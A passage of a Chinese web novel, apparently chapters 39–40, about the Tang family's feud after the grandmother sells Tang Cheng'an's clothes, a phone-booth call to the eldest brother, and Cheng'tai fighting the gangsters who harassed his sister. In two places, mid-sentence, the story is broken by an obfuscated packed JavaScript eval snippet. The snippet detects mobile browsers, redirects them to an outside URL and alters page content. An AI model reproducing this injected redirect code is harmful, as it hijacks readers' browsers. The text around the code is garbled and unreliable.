目前流行最广的是用各种鲜亮颜色组成的图片,头像画面上还热衷于贴上各式各样看不懂的符号,以此来彰显自己的特殊。 那么魏寻为什么不追逐潮流,反而选择这个独树一帜的头像呢? 除了这个头像之谜以外,魏寻的网名也令人捉摸不透。 「Suklee」 用一串英文就算了,可是这几个寻常字母拼凑起来的压根不是什么单词。 唐成安对着电脑想了一整天也想不明白,一眨眼便熬到了下班时间。 今晚老太太难得不在家,眼不见为净,唐成安对此颇感庆幸,心情也愉悦不少,还因此招来了唐成泰的打趣。 趁着好兴致,唐成安走向卧室正打算收拾收拾腾出手帮唐成泰洗菜,刚一打开房门,向外敞开的衣柜瞬间抓住视线,里面的衣服被人翻得乱七八糟,场面像是被入室抢劫后留下的一片狼藉。 “你们谁动我衣柜了?” 铁盆啷当一下掉入水槽砸出声响,唐成泰面色僵硬地缓缓转过身来。 “我靠……” “不会拿去卖掉的那些旧衣服是你的吧?” 39. 公共电话亭 “什么意思?” 唐成安的反问就像火上浇油,吓得唐成泰磕磕巴巴半天说不出一个成形的句子。 “是不是王小妹干的?” 唐成泰的反应骗不了人,进一步验证了她的猜想。 “哎呀,你别叫奶奶大名啊,多没礼貌。” “别转移话题,是不是被我猜中了?” 眼见局面朝向乎意料的方向发展,唐成泰本想找个什么理由圆过去,谁知道唐成安哪有那么好糊弄,非要问出个所以然。 这下没了办法,他只能尽力挤出一个笑脸,虽然笑得比哭还难看: “你,你语气稍微好点嘛,吓得我都不敢说话了……” 他思前想后,还是觉得先稳住家里这个随时都能自爆的炸弹要紧。 要是这个没看好,等另一个老的回来,恐怕非得给唐家炸出个双响炮为春节助助兴才罢休。 “好,我不逼你,”唐成安倒想听听唐成泰怎么替他的好奶奶狡辩,“所以到底怎么回事?” 唐成泰深吸一口气,音节像是从牙缝中挤出来似的,嗓子掐得几乎爬不出一只蚂蚁: “下午三点左右,奶奶抱了一大堆衣服,说是给我们整理衣柜的时候翻出很多已经穿不成的,打算拿出去卖掉。” “想着扔掉这些过时的,恰巧给新衣服挪挪位置,所以我也没多在意。” 说着说着,他的声音越来越小,眼神还时不时上瞟偷眼观察对面唐成安的表情。 “哪……哪里想到那里面有你的衣服……” 得,这事算是来龙去脉都理清楚了。 总结下来就那么一句话——老太太故意的。 不光如此,她还挺会显摆自己的委屈。 明明不是回收旧物品的时间,还这样兴师动众地抱着一大堆能挡住视线的旧衣,不惜一步一步颤颤巍巍走到废品站,临走还不忘提点一句。 话里话外的意思就是——这么大年纪了还主动为家里干家务活,还不来心疼心疼我。 更何况怎么可能随便就清理出那么多旧衣服?分明就是听了昨天唐成安的话,还真以为她败家买了很多衣服,特意摆她一道而已。 唐成泰还在想方设法为他这位好奶奶辩解,唐成安却早就一眼看穿把戏。 还真是有其母必有其子啊,老太太简直和唐玉山偷偷喝酒被抓时扮委屈求饶一样,都是这幅卖弄同情心的死样子。 这两只千年狐狸随便勾勾尾巴就能糊弄缺心眼的唐成泰也就罢了,唐成安才没这么好忽悠。 她可是南州响当当的唐三藏,就算身边没有悟空护体,那也是下凡的灵禅子转世,哪能这么容易被骗啰? 对付这位偷奸耍滑的老太太,她可没什么好脾气。 唐成泰眼睁睁看着她一言不发冲向老太太睡的客房,三两下就抽出几件花花绿绿的衣服,直接无视他的劝阻,风风火火地走出客厅。 “诶,你别犯傻啊!”唐成安是什么脾气他还能不知道吗?担心冲动误事,唐成泰急忙向前拉住她。 唐成安却把他推开:“她老人家不是缺钱吗?我看这几件衣服做工比我们三个所有衣服都要精细,你放心,凭借我的口才,肯定能替她讨来个好价钱。” 唐成安明显在气头上,唐成泰却还想垂死挣扎一下:“你你你,你这不和奶奶说一声就卖掉她的衣服,不怕等她回来和你拼命啊?” “拼命就拼命,我二十四的大好青春,难道怕她这么个七十多的小老太太不成?”唐成安不屑一顾,恶狠狠瞪了唐成泰一眼,“抓着我干什么?你这是也想托我顺便帮你卖几件?” 唐成泰尚且还有自知之明,迅速松开手,双手举在耳朵旁边,做出投降姿势,眼巴巴目送唐成安脚下生风一般走出门外。 我的玉皇大帝、如来佛祖、释迦摩尼、观音菩萨、达摩祖师、独孤求败、张三丰祖师爷……求求你们今晚大显神通,保全小的一条活路吧。 第二次世界大战都已经过去六十年了,没想到南州一个小小唐家,今天竟然即将点燃“三战”的第一道火花。 唐成泰一想到这,喉咙就和吞刀片一样剧痛。 夜色如墨,让任何色彩都变得格外显眼,唐成泰眼角泛起的泪花在此刻比星星还要闪亮。 - 如他所料,大战在当晚一触即发,余震甚至波及到了往后一月不止。 场上分为三股势力,以唐成安为首和以老太太为首的两支队伍是战争中心,中间夹杂着进也不是退也不是的唐成泰和唐玉山。 战争的火星几乎无处不在,一老一少把整个唐家全部物品的所有权分得清清楚楚。 大到房间和床铺,小到碗筷菜碟,几乎就差把唐成泰头上的每一根毛发都分别挂上自己的名牌了。 唐成泰凭借年轻力壮的身体还能□□一会儿,奈何唐玉山那把老骨头可受不住这么折腾。 没坚持下几天,他就决定硬着头皮给唐成国打个电话,甚至不惜牺牲打长途的话费也想赶紧搬来救兵。 虽然两边都是挨骂,但唐玉山这么多年赌博的经验,还是足以让他揣摩得出哪一边胜算更大的。 奈何就连家里唯一的座机也是唐成安买的,现在她强势收回自己的东西,唐玉山便只能跑到中心街的公共电话亭拨下这通“救援热线”。 唐成泰比谁都鸡贼,看见老爹找借口偷跑出来,他也慢几步赶紧跟上,这才暂时远离硝烟喘口气。 “我们家这是造了什么孽啊?”趁着唐玉山从口袋里摸零钱的间隙,唐成泰忍不住蛐蛐两句,“人家是上有老下有小,我们是上有老夜叉,下有小恶煞,过得这是什么日子啊……” “所以我说世上娘们都一样,”唐玉山一副经验老道的样子,对着二儿子夸夸其谈,“老祖宗说得好,‘唯女儿和小人难养也’。” “那是女子和小人!”唐成泰翻了个白眼,“没文化还瞎显摆什么。” 唐玉山委屈得很:“那是我不愿意读书吗?还不是因为你爷奶一门心思要供你大伯上学,害得我没钱读书只能早早出来打工。” “谁像我对你们这么好?你大哥他是自己主动辍学的,你是太蠢没考上高中,这都不赖我啊!你小妹她稍微争气点,考上了一个不错的一本,你看哪个我没有好好供到最后一刻?” 话还没说几句,又扯到之前的事情上了,这位老爹真是不愿放过可以诉说自己委屈的一分一秒。 “诶诶诶,电话通了啊。”唐成泰听得耳朵都长茧子了,看准时机及时打断。 见卖惨没人买账,唐玉山还有点闷闷不乐:“喂?国啊!” “爸?你怎么不用家里的电话打过来?” 一听到对面唐成国的声音,唐玉山就憋不住了,哇的一声哭得像个受尽憋屈的小媳妇。 “国啊,这个家就要散了哇!” 不了解前因后果,唐成国对他老爹这突然的一声嚎哭一头雾水:“你好好说话,大男人哭什么啊?是不是你又偷钱去赌了?” “你赶紧回家吧,没你我们活不成啦!” 唐玉山前言不搭后语,除了要死要活的哭诉,半天都吭不出一个有用信息,唐成泰只好强行把他挤开,夺过听筒。 “大哥,是奶奶来家里了,现在和小妹杠上,简直要把家都掀了。” “奶奶怎么突然到城里来了?” “就,就想我们了呗。”唐成泰支支吾吾的,故意瞒下摔车的事情。 “她们两个不是不说话吗?又出什么事了?”唐成国似乎没太怀疑。 “哎呦喂,都是因为奶奶,谁知道她在想什么,不声不响就把成安的衣服给卖了,你也知道成安什么脾气,后来她也把奶奶的衣服给卖了,两个人现在闹分家呢。” “卖衣服?干嘛要卖衣服?是不是你们干了什么?” “我,我们能干什么啊?我和老爹才是受害者吧!”唐成泰涌上一阵心虚,“其实我觉得就是奶奶的错,她没事招惹那个小霸王做什么?” 唐成泰的那点小心思一览无余,拐弯抹角说这么多,其实就是想方设法地琢磨着怎么把自己从这件事里摘出去。 毕竟他和唐玉山都不傻,要是真把老太太用退休金给他俩买新衣服的事说漏嘴,唐成国肯定会比唐成安先一步撕碎他们。 “奶奶她真是年纪上来了,现在做事越来越没头脑,你们怎么也不拦着?”电话对面的唐成国听后也无可奈何,“我现在一时也回不来,你们想办法找个靠谱的熟人劝劝吧。” “不是,大哥,你让我们哪里去找什……”唐成泰话还没来得及说完,听筒内嘟嘟嘟的警报便替代了戛然而止的唐成国的声音,一同显示出来的还有绿色屏幕上定格的“00:01”。 “老爹,钱不够了,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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唐成泰注意到他的异常:“老爹,你是不是知道什么?” 唐玉山依旧没有回答,低头踮着脚尖在地上不断打转,像是在寻找逃避的缝隙。 从电话亭角落里弥漫出的淡淡霉腥味在沉默中不知不觉爬上两人肩膀,气氛无奈又沮丧。 “我不管,饿得人要撑不住了,”实在等不到唐玉山的回复,唐成泰摸着咕咕叫的肚子宣告投降,“我去找我大哥蹭个晚饭,你自己想办法解决吧。” 背信弃义、临阵脱逃、欺软怕硬……唐玉山在心里把唐成泰暗骂了一百遍。 他大可拍拍屁股跑去蹭饭,留下自己这个手无寸铁的老爹又该何去何从。 老太太做饭难吃是有目共睹的事,重盐重油的菜品也不知道这么多年是怎么忍受过来的。 唐玉山下意识摸进口袋,里面总共也只装了三十块钱,更何况为了方便押注,他还特地换成了散钱。 这一大摞一块钱的纸币拿出去不好看先不论,在外头随随便便下个馆子,能不能剩下一半都不好说。 死性不改的唐玉山装模作样犹豫了片刻,最终还是决定选择保留博弈的本钱。 骂就骂吧,家里那两位总不可能把他大卸八块吧? 说不定干回自己卖惨的老本行,捂着饿扁了的肚子装可怜,就算老太太大义灭亲不认,他那个嘴硬心软的女儿肯定会因此松嘴,好歹给口饭吃。 富贵险中求,就看谁敢拼命。 唐玉山用自己赌博的那一套安慰自己,真就舍得为了今晚的牌局,顶着风暴在家里吃了一顿不安生的饭。 半碗饭都还没吃完,唐玉山明显心思早已不在饭菜上,一双眼睛时不时就瞟向门口,正琢磨着找个好借口又溜出去一趟。 然而还没等到他找到逃出门的好时机,背弃他先一步逃走蹭饭的唐成泰居然推门回来了。 “阿泰——”老太太高喊着冲出客厅,故意拉长颤抖的尾音以示委屈。 可等到她跑近一看,又被唐成泰的模样吓退:“你……你这脸又怎么了?” 唐成安闻声从厨房探出头来,借着客厅的灯光才看清唐成泰时隔半月不到再一次鼻塌嘴歪的脸。 唐成泰轻轻推开老太太的手,凛冽目光抬头直指远处的唐成安: “成安,你到我房间来一趟。” 40. 酱牛肉 “你要红的还是紫的?” “嘿嘿嘿,都行。” 唐成泰上一秒还一本正经地单独要求唐成安来房间,且不说破天荒一脸严肃还把她吓一跳,结果下一秒就破功了,腆着张脸不知道在傻笑什么。 “也是,反正现在你脸上红的紫的青的都有,用哪个颜色都无所谓。”唐成安对她这位二哥莫名其妙的操作无话可说,习惯性地损他几句。 女生总归还是细心些,出于对二哥脸上伤势的担忧,谈话前唐成安也不忘捎上两瓶药水。 她挤出一根棉签,蘸了点紫药水涂抹在伤口处,棉花吸收的药水顺着杆子缓缓滑下,滴落在地板瓷砖上。 “哎呦哎呦,痛痛痛!!”棉花还没滚几圈,唐成泰就忍不住痛感大声叫嚷起来。 唐成安无奈笑了笑,收住了点力气:“你也知道痛啊?看你这伤,又是骑你那辆破车摔的吧?真不长记性。” 唐成泰这次脸上伤口不算太严重,主要是轻微的擦伤,除了一道从颧骨处斜斜划向脸颊中央的狭长血痂,对比上回的伤势,看着没那么令人忧心。 只有一处很奇怪——擦伤虽然不多,但是淤青却星星点点遍布在脸侧和眼周。 “下次不会了,我已经把车卖了。”唐成泰语气平淡。 唐成安不信:“哟,真舍得卖了啊?” “嗯,嘶——”唐成泰疼得倒吸一口凉气也不忘点头,态度很坚定,“以后再也不骑了。” “闭眼,”唐成安拿出一罐云南白药喷剂晃了晃,小面积喷在唐成泰脸上的淤青处,“不骑了?你真舍得你那些兄弟哪?” “践踏我底线的人算不上什么兄弟。” “这么有骨气啊?你底线是什么,让我也见识见识,省得日后哪天冒犯了您,说不定要把我赶出家门呢。” 话音刚落,唐成泰便忽然抓住唐成安的手腕,药瓶喷嘴滋滋喷射的药雾也停滞在空中。 他直直注视着唐成安,表情严肃得像是变了个人:“他们是不是打你了?” “什,什么?”这会儿换成唐成安落入下风。 “你替我煎药的那天晚上,那些人是不是来家里找麻烦了?”唐成泰目光锁定,锐利得足以挑破一切伪装,“他们有没有对你动手?” 不知道是因为被盯得不太自在,还是害怕藏不住心虚,唐成安慌慌张张避开视线。 “当,当然没有做什么,”她故作轻松地摆摆手,“要不然我还能这么好好站在你面前吗?” “成安,你为什么不告诉我?”唐成泰语气更甚,分毫不让的气势全然没有平常吊儿郎当的样子。 “哎呦,还不是怕你那缺根弦的脑子多想,”唐成安想糊弄过去,“再说了,这不是没发生什么嘛!” “要是真发生了什么我该怎么办?替你收尸吗?对着害死我妹妹的凶手继续点头哈腰吗?”唐成泰似乎被她敷衍的态度惹怒了,说话很冲。 唐成安见状赶紧上前安抚情绪:“哪有那么夸张啊,我就是觉得这事没什么大不了的。” “笨蛋!你把我当什么人了?”唐成泰弹了一下她的脑门,“这件事不算大事,那什么才能算大事?” “家人的事对我来说都是大事!” 唐成安第一次觉得她那个缺心眼的二哥居然这么可怕,不敢与他对视。 看见小妹躲闪的眼神,唐成泰才意识到自己有点怒气上头,于是深吸一口气慢慢平复下来: “今晚我本来要去蹭饭的,一过去就听到他们 在小声议论关于我的事情,从对话碎片里才得知他们找到家里来过。” “不光如此,他们甚至还不要脸地在造你的谣,话说得很难听,所以散伙前干脆和他们打了一架。” 他忽然撸起袖子,恶狠狠朝空气中打了一拳:“我要让他们知道,家人始终是我的底线,动你们就是不行!” 一番慷慨激昂的言论下来,向来疲于运动的唐成泰耐不住消耗,叉个腰呼哧呼哧直喘粗气。 两边头发却因为过于激动,冷不丁随机冒出个尖儿来,样子很是狼狈,因此衬得刚刚那句自以为霸气外露的护短莫名滑稽。 但唐成安却难得没出声,默默咽下原本能脱口而出的调侃。 原来那些淤青不是摔车导致的,是打架——为了家人打架。 空气中残存的药雾不知道什么时候飘进了眼睛,她只觉得双眼酸酸胀胀的。 朦胧的视线中,她恍惚看见了走马灯似的回忆—— 她看见只有五岁的唐成泰动作别扭地抱着襁褓中的自己,摇摇晃晃轻哼摇篮曲; 十岁和五岁的两个皮猴,瞒着大人来到大榕树下,三两下爬到最高处,你一半我一半地分享刚买的大大卷; 八岁生日那天,唐玉山难得咬牙买了个插着粉色莲花灯蛋糕的奶油蛋糕,却在她许愿睁眼的瞬间,被已经读初三仍童心未泯的唐成泰偷偷挖了个大洞,造型坍塌得一塌糊涂。 大人们都说,走马灯只有在人将死之际才会出现——唐成安想,也许自己一个人被混混劫堵的那天晚上,正是因为周小菊和唐成泰的呼唤,才让她置死地而后生。 “还能把你当什么人?”她大步上前圈住唐成泰的手臂,头依偎在他的肩膀上,语气娇娇软软的,“当亲哥哥了呗~” 即便平时斗嘴习惯了,唐成泰此刻也不觉得有任何别扭,伸出另一只手轻轻摸了摸妹妹的头顶。 那一声撒娇似的“哥哥”甚至于令他短暂忘却了脸上的淤青。 “糟糕!忘记正事了,”兄妹间温馨的氛围被他一拍大腿打断,唐成泰从角落里拿出一个纸袋,四处张望确认没人后才递给唐成安,“送你的。” 唐成安扒开袋子一看,发现里面郑重其事地又包装了一层彩纸,顶部还仔仔细细系了个蝴蝶结。 神秘兮兮的,更让人好奇了。 她在唐成泰期待的眼神下打开包装,一抹亮眼的米白映入眼帘。 “你哥我眼光不错吧?”唐成泰比她还心急,迫不及待拆开塑料包装展示,“虽然是男装店,但我看这款男女都能穿,做工也不错,就买下了。” “这是偷偷买的,别告诉奶奶啊。” 他拿在手上展示的是一件棉袄,领口边缘整齐地包裹着一圈棉质滚边,袖口处做了收束设计,整体干练柔和。 唐成安接过棉袄,指腹瞬间陷入软乎乎的棉花里,掂在手中轻盈又厚实。 “好看好看!”唐成泰摸着下巴反复欣赏,“我妹又白又瘦,穿什么都好看。” 唐成安倒也不客气:“那当然,你妹妹我可是貌比天仙,天生丽质。” “真不错,给我们家长脸了,”他说着说着就上手为唐成安套上,“快穿上试试。” 只不过唐成安刚伸进袖子,就发现袖管活活长出一大截,手指都几乎伸不出袖口,唐成泰却没发觉任何不对,还在一门心思替她拉上拉链。 “这衣服……”唐成安刚想开口就被他拉到顶部的拉链封住嘴。 “奶奶她应该就待这几天,我也拿她没办法,”唐成泰的声音从上方飘来,盖过了她原本要说的话,“从小到大都委屈你了,是她欠你的,你没做错什么。” 唐成泰的一席话令她有些失神,不知应该作何回应。 男装尺码到底还是和女装相差甚远,这件棉袄对于唐成安压根不合适,松松垮垮地包裹着她全身,如同一个笨拙的企鹅。 也正是因为足够宽大,身体的温度隔着空气片刻便传递而上,烘烤得她鼻尖都微微泛红。 她和二哥日常拌嘴惯了,让她几乎忘记——从小到大陪伴自己最多的,自始至终都是唐成泰一个人。 她又不自觉想起刘家那次荒唐的求亲,唐成泰也是那样歇斯底里地护着她,面容比院门上贴着的门神还恐怖。 以及那晚关于魏寻的谈心,这个不着调的哥哥绕来绕去说了半天才听出用意,但字字句句都渗透着替她着想的关心。 原来魏寻说的都是对的。 「“打断骨头连着筋……真正的亲情是吵不散的。”」 爱是斤斤计较的日常,也是愿意舍命相陪的守望。 唐成安把头埋进衣领,因闷热而生出的红晕逐渐爬至眼下,眼眶周围一圈都是火辣辣的涨感。 这个冬天,她也像无数个期盼过年的孩子一样,因为有了新衣服而兴奋不已。 ——又或许不是因为新衣服。 - 唐成泰的确说到做到,真和那群混混断了个干净。 然而这么一断,原本计划用于骑车耍帅的时间突然空了出来,显得他除了做饭几乎无事可做。 过于清闲的生活当然关不住他这个“浪子”,没多久就开始到处收集宣传单,企图找点零工。 不过也许因为他在家中娇气惯了,找起工作总是挑三拣四的,所以大半个月都没能找到称心的工作。 “怎么帮人找工作比我自己找还累啊!”唐成安坐在办公室里哀怨连天。 “找不到工作?”小天走进办公室,冷不丁冒出一句,“正好我们农场缺人,要不要建议他来试试?” “你怎么来了?!”唐成安惊坐而起,对小天的到来颇感意外。 “跟我爸来的,”小天简单交代一句,关注点并不在此,“所以要推荐他来我们农场工作吗?” 唐成安拒绝得十分果断:“不了不了。” 在农场工作免不了日晒雨淋,唐成泰那弱不禁风的身体怎么可能受得了?唐成安对她这位哥哥还是了如指掌。 “不过你怎么有时间来这了?”她换了个话题,“你没课吗?” “放寒假啊,”小天觉得唐成安定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050315|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这段时间忙坏了,日子都点不清了,“成安姐,没几天就过年啦!” “瞧我这记性,”唐成安看了一眼挂历,距离除夕刚好只剩下一周,“那就提前祝你新年快乐,财运滚滚呀!” 小天颇为郑重地理了理衣领,站姿笔挺:“嘿嘿嘿,也祝你新年新气象,心想事成!” 唐成安乐呵呵笑过一阵后才终于想起正事:“话说回来,你大老远跑来是有什么事吗?我看你来之前应该还特意打扮了一番吧。” 直到小天立正站好,唐成安才发现今天的他不太一样。 不论是之前做家教,还是上次谈生意,他都为了方便干活穿着一成不变的胶底运动鞋,今天倒有兴致换了个造型,穿上近期风靡于高中生群体的阿迪达斯。 虽然打扮精致许多,但小天和周胜天一样,黑黝黝的脸蛋依旧难改浑身散发的那股淳朴气质,健康的小麦肤色中隐隐约约透了点红润,拜起年来活脱脱像个可爱的年画娃娃。 “农场那些设施已经安排妥当了,这次是来和余老板商量剪彩营业的时间。”小天也不客气,不由分说直接拿着唐成安办公桌上放置的水果啃起来。 唐成安放下笔:“这么快就全部整理好啦?” “嗯,资金到位什么都好说。” “这事电话里说不就行了,怎么还劳烦你们父子跑一趟?” 小天将啃干净的梨蒂扔掉,抽了几张纸擦干手,便从挎包里翻出一个塑料盒递给唐成安:“和余老板毕竟是第一次合作,我爸他为表诚心,先运了一批牛肉过来让酒店看看品质,这个盒子里装的就是用我家牛肉腌制好做成的酱牛肉,成安姐你尝尝味道。” “看着不错啊,”唐成安也不扫兴,抓起几大片塞进口中,“我尝尝。” 酱香由于长时间卤煮早已深深浸入牛肉的每一寸纤维,恰到好处的肉质弹性使得咸香在唇齿间晕散开来,八角和桂皮功不可没。 “好吃!”唐成安赞不绝口,“这比我们之前用的那种牛肉不知道好上多少倍。” 小天拍了拍胸脯,自信得很:“那当然,专业的事还得找专门的人来做嘛!” 唐成安一个劲儿点头应和,被酱牛肉勾起的馋嘴让她忍不住又伸手去拿一片,然而没一会儿又收了回来,心中莫名感到不对劲。 “送牛肉这事你爸一个人来就够了吧?”她越想越觉得蹊跷,“你个学生跑来做什么?寒假作业写完啦?” “我看你啊……醉翁之意不在酒吧。” 被看穿心思的小天挠了挠后脑勺,咧出一个笑容掩饰尴尬:“呵呵呵……确实是为了见一面魏寻哥哥。” “好办好办,”唐成安没想到偶像的力量对这个年纪的孩子影响这么大,索性成全他,“我打个电话叫他过来。” 其实不光是小天,其实她也有段时间没见到魏寻了。 临近年底,财务部工作量剧增,唐成安身为部门经理几乎天天都要加班,混乱的作息表导致她街上人影都见得少,更别说见到魏寻。 她想,两个人忙着各自的事情,也心有灵犀不去打扰对方,这样也挺好的。 只是被小天这么一提起,这会儿还真有点想念。 “不用麻烦啦,我在来的路上碰见魏寻哥哥了,”小天急忙婉拒道,“他就在农贸市场入口的板鸭店前面,我那个时候把酱牛肉给他的。” 农贸市场入口的板鸭店?那家老板可是出了名爱缺斤少两的惯犯,魏寻好端端招惹这种人干什么? 唐成安心底隐隐生出担忧,就怕一个没看住,魏寻又像之前在牛墟里碰到的那样,淹没在人群的唾沫里。 可她偏偏抽不出身,只能困在办公室里干着急。 “你注意到他去板鸭店做什么了吗?没出什么事吧?”她实在放心不下,转头向小天打探。 小天回忆:“没什么事吧,我看他们聊得挺好的。” 有了小天这席话,唐成安总算安心一点儿。 “成安姐,你这果盘里的水果不好吃啊,还有别的好吃的吗?” 小男孩正长身体,说的多也吃的多,没坐下多久就把唐成安果盘里的水果啃得一塌糊涂就算了,现在还挑挑捡捡上了。 “那你试试这个吧!”唐成安倒是没生气,反而趁机端出排列得整整齐齐的金桔薄荷酥糕,“这款糕点在我们这可火了,你的魏寻哥哥也在帮忙卖。” 小天看了眼包装,长长感叹一声:“啊——这个啊,我们那的人也听说了,最近不少人跑来南州买。” 原来互联网有这么强的影响力,没花一分钱的广告都打到县外去了,看来目前这个思路是对的。 唐成安愈加感到南州的发展指日可待,满眼期待地等着小天的反馈。 然而小天拿在手中没多久便放回原位,瘪了瘪嘴: “可惜评价不太好。”